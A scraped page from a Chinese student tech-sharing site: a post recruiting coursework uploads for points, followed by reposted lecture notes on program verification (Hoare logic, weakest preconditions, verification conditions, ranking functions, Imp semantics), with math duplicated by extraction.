  • 上传资源,获取积分 精华

    上传资源,获取积分“WRITE-BUG技术共享平台”是一个专注于校园计算机技术交流共享的平台,面向的主要目标群体是我们计算机相关专业的大学生。在平台上,大家既可以交流学校课内学习的心得体会,也可以分享自己课外积累的技术经验。
    为了充实平台的资源库,更好地服务于各位同学,平台决定推出“众源计划”,有偿征集同学们自己计算机专业的作业、课程设计或是毕业设计等资源。“众源计划”的主要目的是创建一个具有一定规模的“技术资源库”,资源库里的每一份资源,都必须有详细的开发文档和可编译的源代码。
    作业、课程设计或是毕业设计等资源是同学们自己辛苦付出的成果,也是自己技术进步的见证。这部分资源通常都有详细的开发文档和完整的程序源代码,能够帮助其他初学者更好地消化和吸收将要学习的技术,降低学习门槛。所以,平台决定积分奖励征集这些资源。
    具体要求奖励方式
    资源上传并审核通过后,根据资源质量,奖励每贴 10 - 100 点积分
    上传流程
    会员登录自己的账号上传资源
    资源上传后,管理员会在 24 小时之内审核资源
    审核通过后,管理员会立即发放奖励积分至所对应账户

    审核重点
    重点审核资源是否具有详细的文档和完整的源代码
    审查资源是否原创,切勿重复提交

    资源要求“众源计划”仅对两类资源进行积分奖励征集,分别是“课内资源”和“课外资源”,各类资源具体要求如下所示。

    课内资源

    内容范围:计算机相关专业课内的毕业设计、课程设计、小学期、大作业等课程内开发的程序,程序包括游戏、PC程序、APP、网站或者其他软件形式
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告

    课外资源

    内容范围:计算机相关专业的课外自己主导研究游戏、项目、竞赛、个人研究等,区别于课程设计和毕业设计等课内资源
    内容要求:资源必须要包括完整的程序源代码和详细的开发文档或报告


    使用须知** 在上传资源前,请花两分钟阅读 “使用须知” 部分内容 **
    16 留言 2019-01-24 09:26:15 奖励100点积分
  • 程序验证(十二):完全正确性


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106844776

    一、完全正确性完全正确性(total correctness),写作:
    [P]c[Q][P]c[Q][P]c[Q]意思是:

    如果我们从一个满足PPP的环境开始执行ccc
    那么ccc一定终止
    且它的最终的环境满足QQQ

    二、良基关系(Well-Founded Relations)集合SSS上的一个二元关系≺\prec≺是一个良基关系,当且仅当:

    在SSS中不存在无限序列s1,s2,s3,..s_1,s_2,s_3,..s​1​​,s​2​​,s​3​​,..,使得对于所有i>0i > 0i>0都有si+1≺sis_{i+1}\prec s_is​i+1​​≺s​i​​
    也就是说,SSS中每个下降序列都是有限的

    2.1 词法意义上的良基关系给定集合S1,..,SnS_1,.. ,S_nS​1​​,..,S​n​​和关系≺1,..,≺n\prec_1 ,.. ,\prec_n≺​1​​,..,≺​n​​ ,令S1×..×S_1\times .. \timesS​1​​×..×
    定义关系≺\prec≺:
    (s1,..,sn)≺(t1,..,tn)⇔⋁i=1n(si≺iti∧⋀j=1i−1sj=tj)(s_1 ,.. ,s_n)\prec (t_1 ,.. ,t_n)\Leftrightarrow \bigvee ^n_{i=1} (s_i\prec_i t_i\wedge\bigwedge ^{i-1}_{j=1} s_j=t_j)(s​1​​,..,s​n​​)≺(t​1​​,..,t​n​​)⇔⋁​i=1​n​​(s​i​​≺​i​​t​i​​∧⋀​j=1​i−1​​s​j​​=t​j​​)解释一下,(s1,..,sn)≺(t1,..,tn)(s_1 ,.. ,s_n)\prec (t_1 ,.. ,t_n)(s​1​​,..,s​n​​)≺(t​1​​,..,t​n​​)当且仅当:

    在某一位置iii,si≺itis_i\prec_i t_is​i​​≺​i​​t​i​​
    而对于所有之前的位置jjj,sj=tjs_j=t_js​j​​=t​j​​

    2.2 证明完全正确性为了证明程序终止,我们需要:

    在程序的状态上构造一个良基关系≺\prec≺
    证明每一个基础路径的的输出状态都“小于”输入状态

    如果满足以上两点,那么程序一定终止,否则就存在一个程序状态的无限序列,这可以被映射到≺\prec≺上的一个无限下降序列。
    与以上两步相对应,我们需要:

    找到一个函数δ\deltaδ将程序状态映射到一个带有已知良基关系≺\prec≺的集合SSS
    证明δ\deltaδ在每一个基础路径上依据≺\prec≺都是下降的

    函数δ\deltaδ被称为秩函数(ranking function)。
    2.3 对于秩函数的注释我们用带有↓\downarrow↓的代码注释秩函数,需要在函数的循环头位置注释。
    2.4 vcvcvcvc即为:
    P→wlp(c1;..;cn,δ(x)≺δ(x′))[x/x′]P\to wlp(c_1; .. ;c_n,\delta (x)\prec \delta (x'))[x/x']P→wlp(c​1​​;..;c​n​​,δ(x)≺δ(x​′​​))[x/x​′​​]计算的时候用x′x^{\prime}x​′​​代表开始时xxx的值,计算完毕后再换回来。
    0 留言 2020-07-03 14:32:32 奖励30点积分
  • 程序验证(十一):演绎验证(下)


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106797717

    一、新特征引入向Imp语言引入新的特征:

    断言注释(assertion annotation)
    过程(procedure)

    1.1 断言断言注释具有以下形式:
    {P}\{P\}{P}从语义上说,它们与运行时断言(runtime assertion)一样(比如c里面的assert)。如果当前环境使得断言表达式为假,程序停止执行。
    1.2 程序举个例子:

    这个过程就是一个带有注释的过程:

    前置条件由requires注释
    后置条件由ensures注释
    前置条件与后置条件中的自由变量可以是形式参数
    后置条件也可以包括特殊的变量rvrvrv,代表返回值(return value)

    二、部分正确性的证明一个程序(program)是部分正确的,如果对于它的每个过程(procedure)PPP都有:

    只要PPP的前置条件在过程的入口处被满足
    那么PPP的后置条件一定在过程的出口处被满足

    我们从基本思路:

    使用注释(annotation)把程序分为更简单的几部分
    独立地为每个部分生成vcvcvc,假定每个注释都成立
    根据每个部分的正确性,推出整体的正确性

    2.1 基本路径(Basic Paths)一个基本路径是一系列指令,满足:

    开始于一个过程的前置条件或循环不变量
    终止于一个循环不变量,一个断言或一个过程的后置条件
    不穿过循环:循环不变量只在路径的开头或结尾出现

    2.2 假设(assume)语句assume b的意思:

    只有当b在当前环境下为真,路径的剩余部分才可以执行
    当讨论剩余的路径时,我们可以假定b成立

    2.3 路径分割每一个assume,都引入两个分支,一个假定bbb成立,一个假定¬b\neg b¬b成立,所以在之前的例子里,有更多的基本路径。
    如何计算基本路径有多少呢?当我们计算基础路径的数量时,我们遵循深度优先的习惯。
    当遇到一个assume时:

    先假定它成立,然后生成相应的路径
    再假定它不成立,重复

    2.4 过程调用(Procedure Call)可以把过程调用替换为后置条件断言,需要引入另一个基础路径以确保前置条件成立,将前置条件与后置条件中的形式参数换为在调用中真正出现的参数。
    综上,过程调用的步骤为:
    1.给定一个过程fff具有以下原型:

    2.当fff在上下文w:=f(e1,..,en)w:=f(e_1 ,.. ,e_n)w:=f(e​1​​,..,e​n​​)中被调用时,用断言{P[e1,..,en]}\lbrace P[e_1,.. ,e_n] \rbrace{P[e​1​​,..,e​n​​]}表示调用上下文
    3.在穿过调用的路径中

    创建新的变量vvv来存放返回值
    将调用替换为后置条件的假定:


    三、vc生成当我们列举基础路径时,我们实际上得到了vcvcvc。
    注意,由于基础路径不穿过循环,所以我们只需要为三种命令生成vcvcvc:

    赋值:见上文
    序列:见上文
    assume:


    举例:
    0 留言 2020-07-03 10:12:16 奖励30点积分
  • 程序验证(十):演绎验证(上)


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106751208

    一、基础路径(Basic Approach)给定一个程序ccc,由以下specification注解:
    {P}c{Q}\{P\}c\{Q\}{P}c{Q}为了证明这个三元组,我们构造一个验证条件(verification condition, VC)的集合:

    每个VC都是某个理论的一阶公式
    如果所有的VC都是永真的,那么{P}c{Q}\lbrace P \rbrace c \lbrace Q \rbrace{P}c{Q}就是永真的

    二、谓词转换器给定一个断言QQQ和一个程序ccc,一个谓词转换器(predicate transformer)是一个函数,输出另一个断言。
    最弱前置条件(weakest precondition)谓词转换器产生一个wp(c,Q)wp(c,Q)wp(c,Q),使得:

    对于[wp(c,Q)]c[Q][wp(c,Q)]c[Q][wp(c,Q)]c[Q]是永真的,且
    对于任何满足[P]c[Q][P]c[Q][P]c[Q]的PPP,P⇒wp(c,Q)P\Rightarrow wp(c,Q)P⇒wp(c,Q),也就是说,wp(c,Q)wp(c,Q)wp(c,Q)是这种断言中最弱的

    广义最弱前置条件(weakest liberal precondition)谓词转换器产生一个wlp(c,Q)wlp(c,Q)wlp(c,Q),使得:

    对于wlp(c,Q)cQ{wlp(c,Q)}c{Q}wlp(c,Q)cQ是永真的,且
    对于wlp(c,Q)wlp(c,Q)wlp(c,Q)是这种断言中最弱的

    wlpwlpwlp为我们提供了一种逆向的思路,这也符合我们的直觉。
    三、wlp的定义我们用霍尔三元组来定义wlpwlpwlp:
    wlp(y:=x+1,(∀x.x<z→x<y)→x+1≤y)=?wlp(y:=x+1, (\forall x.x < z \to x < y) \to x+1\le y)=?wlp(y:=x+1,(∀x.x<z→x<y)→x+1≤y)=?注意,答案并不是:
    (∀x.x<z→x<x+1)→x+1≤x+1(\forall x.x < z\to x < x+1) \to x+1 \le x+1(∀x.x<z→x<x+1)→x+1≤x+1因为当我们用x+1x+1x+1替换yyy以处理:
    (∀x.x<z→x<y)(\forall x.x < z\to x < y)(∀x.x<z→x<y)时,变量xxx是被捕获的(captured)
    3.1 捕获避免代入(capture-avoiding substitution)当我们扩展P[a/x]P[a/x]P[a/x]时,我们需要:

    只代入xxx的自由形式(free occurence)
    将aaa中不自由的变量重命名以避免捕获

    3.2 数组赋值规则数组赋值的霍尔规则可以表示为:
    AsgnArr {Q[x⟨a1◃a2⟩/x]}x[a1]:=a2{Q}AsgnArr~\frac{}{\{Q[x\langle a_1\triangleleft a_2\rangle /x]\}x[a_1]:=a_2\{Q\}}AsgnArr ​{Q[x⟨a​1​​◃a​2​​⟩/x]}x[a​1​​]:=a​2​​{Q}​​​​相应的转换器即为:
    wlp(x[a1]:=a2,Q)=Q[x⟨a1◃a2⟩/x]wlp (x[a_1]:=a_2,Q)=Q[x\langle a_1\triangleleft a_2\rangle /x]wlp(x[a​1​​]:=a​2​​,Q)=Q[x⟨a​1​​◃a​2​​⟩/x]举例:计算
    wlp(b[i]:=5,b[i]=5)wlp(b[i]:=5,b[i]=5)wlp(b[i]:=5,b[i]=5)wlp(b[i]:=5,b[i]=5)=(b⟨◃5⟩[i]=5)=(5=5)=truewlp(b[i]:=5,b[i]=5)=(b\langle\triangleleft 5\rangle [i]=5)=(5=5)=truewlp(b[i]:=5,b[i]=5)=(b⟨◃5⟩[i]=5)=(5=5)=true计算
    wlp(b[n]:=x,∀i.1≤i<n→b[i]≤b[i+1])wlp(b[n]:=x,\forall i.1\le i < n\to b[i]\le b[i+1])wlp(b[n]:=x,∀i.1≤i<n→b[i]≤b[i+1])进行代入
    wlp(b[n]:=x,∀i.1≤i<n→b[i]≤b[i+1])=∀i.1≤i<n→(b⟨◃x⟩)[i]≤(b⟨n◃x⟩)[i+1]=(b⟨n◃x⟩)[n−1]≤(b⟨n◃x⟩)[n]∧∀i.1≤i<n−1→(b⟨n◃x⟩)[i]≤(b⟨n◃x⟩)[i+1]wlp(b[n]:=x,\forall i.1\le i < n\to b[i]\le b[i+1])=\forall i.1\le i < n\to (b\langle\triangleleft x\rangle)[i]\le (b\langle n\triangleleft x\rangle)[i+1]=(b\langle n\triangleleft x\rangle)[n-1]\le (b\langle n\triangleleft x\rangle)[n]\wedge \forall i.1\le i < n-1\to (b\langle n\triangleleft x\rangle)[i]\le (b\langle n\triangleleft x\rangle)[i+1]wlp(b[n]:=x,∀i.1≤i<n→b[i]≤b[i+1])=∀i.1≤i<n→(b⟨◃x⟩)[i]≤(b⟨n◃x⟩)[i+1]=(b⟨n◃x⟩)[n−1]≤(b⟨n◃x⟩)[n]∧∀i.1≤i<n−1→(b⟨n◃x⟩)[i]≤(b⟨n◃x⟩)[i+1]3.3 序列(sequencing)依据霍尔规则:
    Seq {P}c1{P′}{P′}c2{Q}{P}c1;c2{Q}Seq~\frac{\{P\}c_1\{P'\}\qquad\{P'\}c_2\{Q\}}{\{P\}c_1;c_2\{Q\}}Seq ​{P}c​1​​;c​2​​{Q}​​{P}c​1​​{P​′​​}{P​′​​}c​2​​{Q}​​相应的谓词转换器即为:
    wlp(c1;c2,Q)=wlp(c1,wlp(c2,Q))wlp(c_1;c_2,Q)=wlp(c_1,wlp(c_2,Q))wlp(c​1​​;c​2​​,Q)=wlp(c​1​​,wlp(c​2​​,Q))3.4 条件依据霍尔规则:

    相应的转换器即为:

    3.5 while循环依据等价关系:

    相应的wlpwlpwlp即为,此处略,最后转了个圈又回来了。
    3.6 近似最弱前置条件一般来说,我们无法总是算出循环的wlpwlpwlp,比如上面的情况。但是,我们可以借助于循环不变式来近似它。
    下面,我们使用这种方式表示循环:
    while b do{I}cwhile~b~do\{I\}cwhile b do{I}c这里III是由程序员提供的循环不变量。
    最为直观的想法是令:
    wlp(while b do{I}c,Q)=Iwlp(while~b~do\{I\}c,Q)=Iwlp(while b do{I}c,Q)=I但此时III可能不是最弱的前置条件。
    如果我们草率地认为:
    wlp(while b do{I}c,Q)=Iwlp(while~b~do\{I\}c,Q)=Iwlp(while b do{I}c,Q)=I我们漏了两件事情:

    没有检查I∧¬bI\wedge\neg bI∧¬b得到QQQ
    我们不知道III是否真的是一个循环不变式

    所以我们需要构造一个额外的验证条件(verification condition)的集合:

    为了在执行循环后确保QQQ能够实现,需要满足两个条件:

    一是vc(while b doIc,Q)vc(while~b~do{I}c,Q)vc(while b doIc,Q)中的每一个公式都是永真的
    二是wlp(while b doIc,Q)=Iwlp(while~b~do{I}c,Q)=Iwlp(while b doIc,Q)=I一定是永真的

    3.7 构造vcwhile是唯一一个引入额外条件的命令,但是其他的声明可能也包含循环,所以:
    vc(x:=a,Q)=∅vc(x:=a,Q)=\varnothingvc(x:=a,Q)=∅vc(c1;c2,Q)=vc(c1,wlp(c2,Q))∪vc(c2,Q)vc(c_1;c_2,Q)=vc(c_1,wlp(c_2,Q))\cup vc(c_2,Q)vc(c​1​​;c​2​​,Q)=vc(c​1​​,wlp(c​2​​,Q))∪vc(c​2​​,Q)vc(if b then c1 else c2,Q)=vc(c1,Q)∪vc(c2,Q)vc(if~b~then~c_1~else~c_2,Q)=vc(c_1,Q)\cup vc(c_2,Q)vc(if b then c​1​​ else c​2​​,Q)=vc(c​1​​,Q)∪vc(c​2​​,Q)3.8 综合综上,我们得到验证:
    {P}c{Q}\{P\}c\{Q\}{P}c{Q}的通用方法:

    计算P′=wlp(c,Q)P^{\prime}=wlp(c,Q)P​′​​=wlp(c,Q)
    计算vc(c,Q)vc(c,Q)vc(c,Q)
    检查P→P′P\to P^{\prime}P→P​′​​ 的永真性
    检查每个F∈vc(c,Q)F\in vc(c,Q)F∈vc(c,Q)的永真性

    若3,4检验均通过,那么{P}c{Q}\lbrace P \rbrace c \lbrace Q \rbrace{P}c{Q}是永真的,但反之不一定成立,因为循环不变式可能不是最弱的前置条件。
    0 留言 2020-07-02 19:18:16 奖励30点积分
  • 程序验证(九):程序正确性规范


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106725080

    什么是程序的正确性?应当在指定的前提下,进行预定的行为,达到指定的结果。
    一、部分正确性(Partial Correctness)部分正确性指的是一个程序的停止行为。
    我们将部分正确性用霍尔三元组(Hoare triples)表达:
    {P}c{Q}\{P\}c\{Q\}{P}c{Q}
    其中ccc是一个程序
    其中PPP和QQQ是一阶逻辑的断言(assertion)
    其中P,QP, QP,Q的自由变量可以在程序的变量中随意选择
    其中PPP是先验条件(precondition),QQQ是后验条件(postcondition)

    上述{P}c{Q}\lbrace P \rbrace c \lbrace Q \rbrace{P}c{Q}的含义:

    在一个满足PPP的环境中开始执行ccc
    如果ccc终止,那么它的最终环境将满足QQQ

    注意,部分正确性没有排除以下两点:

    程序执行不终止
    程序没有从PPP开始执行

    二、完全正确性(Total Correctness)部分正确性没有要求终止,完全正确性是一个更强的声明,写作:
    [P]c[Q][P]c[Q][P]c[Q]
    如果我们从一个满足PPP的环境开始执行ccc
    那么ccc一定终止,而且它最终的环境满足QQQ

    三、断言给定三元组:
    {P}c{Q}\{P\}c\{Q\}{P}c{Q}公式PPP与QQQ是一阶断言。
    对于Imp,有用的理论是TZ∪TAT_Z\cup T_AT​Z​​∪T​A​​。PPP或QQQ中的变量包括程序变量、量词变量、其他逻辑变量,即
    vars(Q)=pvars(Q)∪qvars(Q)∪lvars(Q)vars(Q)=pvars(Q)\cup qvars(Q)\cup lvars(Q)vars(Q)=pvars(Q)∪qvars(Q)∪lvars(Q)3.1 断言的语义由于lvars(Q)lvars(Q)lvars(Q)的存在,我们不能仅依据环境σ\sigmaσ来判断QQQ的值,所以,令α\alphaα为lvars(Q)lvars(Q)lvars(Q)的变量的一个赋值,那么:

    断言的可满足性与永真性:

    如果对于所有σ\sigmaσ,σ⊨Q\sigma\models Qσ⊨Q,那么我们写作⊨Q\models Q⊨Q。
    3.2 部分正确性的语义我们说{P}c{Q}\lbrace P \rbrace c \lbrace Q \rbrace{P}c{Q}在σ\sigmaσ中在α\alphaα下永真,写作σ⊨α{P}c{Q}\sigma\models_{\alpha} \lbrace P \rbrace c \lbrace Q \rbraceσ⊨​α​​{P}c{Q},如果:
    ∀σ′.(σ⊨αP∧⟨c,σ⟩⇓σ′)→σ′⊨αQ\forall \sigma^{\prime}.(\sigma\models_{\alpha}P\wedge \langle c,\sigma\rangle\Downarrow\sigma^{\prime})\to\sigma^{\prime}\models_{\alpha}Q∀σ​′​​.(σ⊨​α​​P∧⟨c,σ⟩⇓σ​′​​)→σ​′​​⊨​α​​Q也就是说:

    只要σ\sigmaσ在α\alphaα下满足PPP
    而且ccc在σ\sigmaσ中执行得到σ′\sigma^{\prime}σ​′​​
    那么σ′\sigma^{\prime}σ​′​​ 在α\alphaα下满足QQQ

    我们说{P}c{Q}\lbrace P \rbrace c \lbrace Q \rbrace{P}c{Q}是永真的,写作⊨{P}c{Q}\models \lbrace P \rbrace c \lbrace Q \rbrace⊨{P}c{Q},如果:
    ∀σ,α.σ⊨α{P}c{Q}\forall \sigma,\alpha.\sigma\models_{\alpha} \{P\}c\{Q\}∀σ,α.σ⊨​α​​{P}c{Q}也就是:
    ∀σ,σ′,α.(σ⊨αP∧⟨c,σ⟩⇓σ′)→σ′⊨αQ\forall \sigma,\sigma',\alpha. (\sigma\models_{\alpha}P\wedge\langle c,\sigma\rangle\Downarrow\sigma') \to \sigma'\models_{\alpha} Q∀σ,σ​′​​,α.(σ⊨​α​​P∧⟨c,σ⟩⇓σ​′​​)→σ​′​​⊨​α​​Q四、三元组的证明(verify)我们将引入一种逻辑,该逻辑能从已知的三元组推出新的三元组,这种逻辑叫做霍尔逻辑(Hoare logic)。
    引入规则的形式为:
    ⊢{P}c{Q}\vdash \{P\}c\{Q\}⊢{P}c{Q}4.1 跳过与赋值(skip&assignment)Skip {P}skip{P}Skip~\frac{}{\{P\} skip \{P\}}Skip ​{P}skip{P}​​​​Asgn {Q[a/x]}x:=a{Q}Asgn~ \frac{}{\{Q[a/x]\}x:=a\{Q\}}Asgn ​{Q[a/x]}x:=a{Q}​​​​其中Q[a/x]Q[a/x]Q[a/x]:在QQQ中把所有xxx换成aaa,举个例子:
    (5+x)[(x+1)/x]=5+(x+1)(5+x)[(x+1)/x]=5+(x+1)(5+x)[(x+1)/x]=5+(x+1)4.2 逻辑的加强与削弱注意,我们不能证明一个很显而易见的东西:
    ⊢{y=0}x:=1{x=1}\vdash\{y=0\}x:=1\{x=1\}⊢{y=0}x:=1{x=1}但我们可以证明:
    ⊢{1=1}x:=1{x=1}\vdash\{1=1\}x:=1\{x=1\}⊢{1=1}x:=1{x=1}于是引入前提加强(precondition strengthening):
    Pre ⊢{P′}c{Q}P⇒P′{P}c{Q}Pre~\frac{\vdash\{P'\}c\{Q\}\qquad P\Rightarrow P'}{\{P\}c\{Q\}}Pre ​{P}c{Q}​​⊢{P​′​​}c{Q}P⇒P​′​​​​例如:
    Pre Asgn ⊢{1=1}x:=1{x=1}y=0⇒1=1{y=0}x:=1{x=1}Pre~\frac{Asgn~\frac{}{\vdash\{1=1\}x:=1\{x=1\}}\qquad y=0\Rightarrow 1=1}{\{y=0\}x:=1\{x=1\}}Pre ​{y=0}x:=1{x=1}​​Asgn ​⊢{1=1}x:=1{x=1}​​​​y=0⇒1=1​​与之相似,引入一削弱后验条件的规则:
    Post ⊢{P}c{Q′}Q′⇒Q{P}c{Q}Post~\frac{\vdash\{P\}c\{Q'\}\qquad Q'\Rightarrow Q}{\{P\}c\{Q\}}Post ​{P}c{Q}​​⊢{P}c{Q​′​​}Q​′​​⇒Q​​在二者的基础上,引入序列规则(consequence rule):
    Conseq P⇒P′⊢{P′}c{Q′}Q′⇒Q{P}c{Q}Conseq~\frac{P\Rightarrow P'\qquad\vdash \{P'\}c\{Q'\}\qquad Q'\Rightarrow Q}{\{P\}c\{Q\}}Conseq ​{P}c{Q}​​P⇒P​′​​⊢{P​′​​}c{Q​′​​}Q​′​​⇒Q​​4.3 组合(composition)Seq {P}c1{P′}{P′}c2{Q}{P}c1;c2{Q}Seq~\frac{\{P\}c_1\{P'\}\qquad \{P'\}c_2\{Q\}}{\{P\}c_1;c_2\{Q\}}Seq ​{P}c​1​​;c​2​​{Q}​​{P}c​1​​{P​′​​}{P​′​​}c​2​​{Q}​​举例:使用霍尔逻辑证明swap函数
    {x=x′∧y=y′}t:=x;x:=y;y:=t{y=x′∧x=y′}\{x=x'\wedge y=y'\}t:=x;x:=y;y:=t\{y=x'\wedge x=y'\}{x=x​′​​∧y=y​′​​}t:=x;x:=y;y:=t{y=x​′​​∧x=y​′​​}1.由Asgn:
    {x=x′∧y=y′}t:=x{t=x′∧y=y′}\{x=x'\wedge y=y'\}t:=x\{t=x'\wedge y=y'\}{x=x​′​​∧y=y​′​​}t:=x{t=x​′​​∧y=y​′​​}2.由Asgn:
    {t=x′∧y=y′}x:=y{t=x′∧x=y′}\{t=x'\wedge y=y'\}x:=y\{t=x'\wedge x=y'\}{t=x​′​​∧y=y​′​​}x:=y{t=x​′​​∧x=y​′​​}3.由Asgn:
    {t=x′∧x=y′}y:=t{y=x′∧x=y′}\{t=x'\wedge x=y'\}y:=t\{y=x'\wedge x=y'\}{t=x​′​​∧x=y​′​​}y:=t{y=x​′​​∧x=y​′​​}4.由1,2,Seq:
    {x=x′∧y=y′}t:=x;x:=y{t=x′∧x=y′}\{x=x'\wedge y=y'\}t:=x;x:=y\{t=x'\wedge x=y'\}{x=x​′​​∧y=y​′​​}t:=x;x:=y{t=x​′​​∧x=y​′​​}5.最后,由3,4,Seq:
    Q.E.DQ.E.DQ.E.D4.4 条件(conditional)If {P∧b}c1{Q}{P∧¬b}c2{Q}{P}if b then c1 else c2{Q}If~\frac{\{P\wedge b\}c_1\{Q\}\qquad \{P\wedge \neg b\}c_2\{Q\}}{\{P\} if~b~then~c_1~else~c_2\{Q\}}If ​{P}if b then c​1​​ else c​2​​{Q}​​{P∧b}c​1​​{Q}{P∧¬b}c​2​​{Q}​​
    在true分支:如果bbb成立,我们需要证明{P∧b}c1Q\lbrace P\wedge b \rbrace c_1{Q}{P∧b}c​1​​Q
    在false分支:如果¬b\neg b¬b成立,我们需要证明{P∧¬b}c2{Q}\lbrace P\wedge\neg b \rbrace c_2 \lbrace Q \rbrace{P∧¬b}c​2​​{Q}

    4.5 while循环(loop)While {P∧b}c{P}{P}while b do c{P∧¬b}While~\frac{\{P\wedge b\}c\{P\}}{\{P\} while~b~do~c\{P\wedge\neg b\}}While ​{P}while b do c{P∧¬b}​​{P∧b}c{P}​​其中,PPP是循环不变量(loop invariant):

    在进入循环前成立,并且在每次迭代后保持不变
    这由前提{P∧b}c{P}\lbrace P\wedge b \rbrace c \lbrace P \rbrace{P∧b}c{P}所确定

    为了使用While,需要先证明PPP是不变量。
    五、可靠性与完备性
    之前的规则对于部分正确性都是可靠的
    对于Imp,是不完备的,因为可以归约为TPAT_{PA}T​PA​​
    0 留言 2020-07-02 09:43:51 奖励30点积分
  • 程序验证(八):形式语义


    版权声明:本文为CSDN博主「swy_swy_swy」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/swy_swy_swy/article/details/106698807

    一、语义描述方法
    操作语义:用抽象机描述程序执行引起的状态改变,关心状态改变是怎样产生的,与语言的实现关系紧密
    指称语义:使程序执行的效果对应数学对象,只关心程序执行的效果,不关心其是怎样产生的
    公理语义:将程序的语义性质表示为命题,采用数理逻辑的方法研究

    二、引入玩具语言Imp2.1 语法范畴
    数字集NumNumNum,用nnn表示数字
    变元集VarVarVar,用xxx表示变元
    算术表达式集AexpAexpAexp,用aaa表示算术表达式
    布尔表达式集BexpBexpBexp,用bbb表示布尔表达式
    语句集ComComCom,用ccc表示语句

    2.2 语法a∈AExp::=n∈Z∣x∈Var∣a1+a2∣a1∗a2∣a1−a2a\in AExp::=n\in Z |x\in Var|a_1+a_2|a_1*a_2|a_1-a_2a∈AExp::=n∈Z∣x∈Var∣a​1​​+a​2​​∣a​1​​∗a​2​​∣a​1​​−a​2​​b∈BExp::=true∣false∣a1=a2∣a1≤a2∣¬b∣b1∧b2b\in BExp::=true|false|a_1=a_2|a_1\le a_2|\neg b|b_1\wedge b_2b∈BExp::=true∣false∣a​1​​=a​2​​∣a​1​​≤a​2​​∣¬b∣b​1​​∧b​2​​c∈Com::=skip∣x:=a∣c1;c2∣if b then c1 else c2∣while b do cc\in Com::=skip|x:=a|c_1;c_2|if~b~then~c_1~else~c_2|while~b~do~cc∈Com::=skip∣x:=a∣c​1​​;c​2​​∣if b then c​1​​ else c​2​​∣while b do c三、表达式语义3.1 表达式的语义采用二进制
    n::=0∣1∣n0∣n1n::=0|1|n0|n1n::=0∣1∣n0∣n1语义函数N:Num→ZN: Num \to ZN:Num→Z
    N[0]=0N[0]=0N[0]=0
    N[1]=1N[1]=1N[1]=1
    N[n0]=2∗N[0]N[n0]=2*N[0]N[n0]=2∗N[0]
    N[n1]=2∗N[n]+1N[n1]=2*N[n]+1N[n1]=2∗N[n]+1
    3.2 状态环境是从变元集到整数集的函数
    Env=Var→ZEnv=Var \to ZEnv=Var→Z
    如σ=[x↦5,y↦7,z↦0]\sigma = [x \mapsto 5,y \mapsto 7,z \mapsto 0]σ=[x↦5,y↦7,z↦0],即σx=5,σy=7,σz=0\sigma x=5,\sigma y=7,\sigma z=0σx=5,σy=7,σz=0
    设σ′=σ[x↦7]\sigma^{\prime} =\sigma [x\mapsto 7]σ​′​​=σ[x↦7],则σ′x=7\sigma^{\prime} x=7σ​′​​x=7,对于不同于xxx的变元yyy,yσ′y=σyy\sigma^{\prime} y=\sigma yyσ​′​​y=σy

    状态是一个二元组⟨c,σ⟩\langle c,\sigma\rangle⟨c,σ⟩,其中σ\sigmaσ是当前变量的赋值,ccc为下一条被执行的语句。
    3.3 算术表达式的语义语义函数A:Aexp→(Env→Z)A: Aexp\to (Env\to Z)A:Aexp→(Env→Z):

    A[n]σ=N[n]A[n]\sigma = N[n]A[n]σ=N[n]
    A[x]σ=σxA[x]\sigma = \sigma xA[x]σ=σx
    A[a1+a2]σ=A[a1]σ+A[a2]σA[a_1+a_2]\sigma = A[a_1]\sigma +A[a_2]\sigmaA[a​1​​+a​2​​]σ=A[a​1​​]σ+A[a​2​​]σ
    A[a1a2]σ=A[a1]σA[a2]σA[a_1a_2]\sigma = A[a_1]\sigma A[a_2]\sigmaA[a​1​​a​2​​]σ=A[a​1​​]σA[a​2​​]σ
    A[a1−a2]σ=A[a1]σ−A[a2]σA[a_1-a_2]\sigma = A[a_1]\sigma -A[a_2]\sigmaA[a​1​​−a​2​​]σ=A[a​1​​]σ−A[a​2​​]σ

    3.4 布尔表达式的语义语义函数B:Bexp→(Env→T)B:Bexp\to (Env\to T)B:Bexp→(Env→T):
    B[true]σ=trueB[true]\sigma = trueB[true]σ=true
    B[false]σ=falseB[false]\sigma = falseB[false]σ=false
    B[a1=a2]σ=A[a1]σ=A[a2]σB[a_1=a_2]\sigma = A[a_1]\sigma = A[a_2]\sigmaB[a​1​​=a​2​​]σ=A[a​1​​]σ=A[a​2​​]σ
    B[a1≤a2]σ=A[a1]σ≤A[a2]σB[a_1\le a_2]\sigma = A[a_1]\sigma\le A[a_2]\sigmaB[a​1​​≤a​2​​]σ=A[a​1​​]σ≤A[a​2​​]σ
    B[¬b]σ=¬B[b]σB[\neg b]\sigma = \neg B[b]\sigmaB[¬b]σ=¬B[b]σ
    B[b1∧b2]σ=B[b1]σ∧B[b2]σB[b_1\wedge b_2]\sigma = B[b_1]\sigma\wedge B[b_2]\sigmaB[b​1​​∧b​2​​]σ=B[b​1​​]σ∧B[b​2​​]σ
    3.5 举例在环境σ=[x↦1,y↦3]\sigma = [x\mapsto 1,y\mapsto 3]σ=[x↦1,y↦3]下计算表达式(x+2)∗y(x+2)*y(x+2)∗y的值
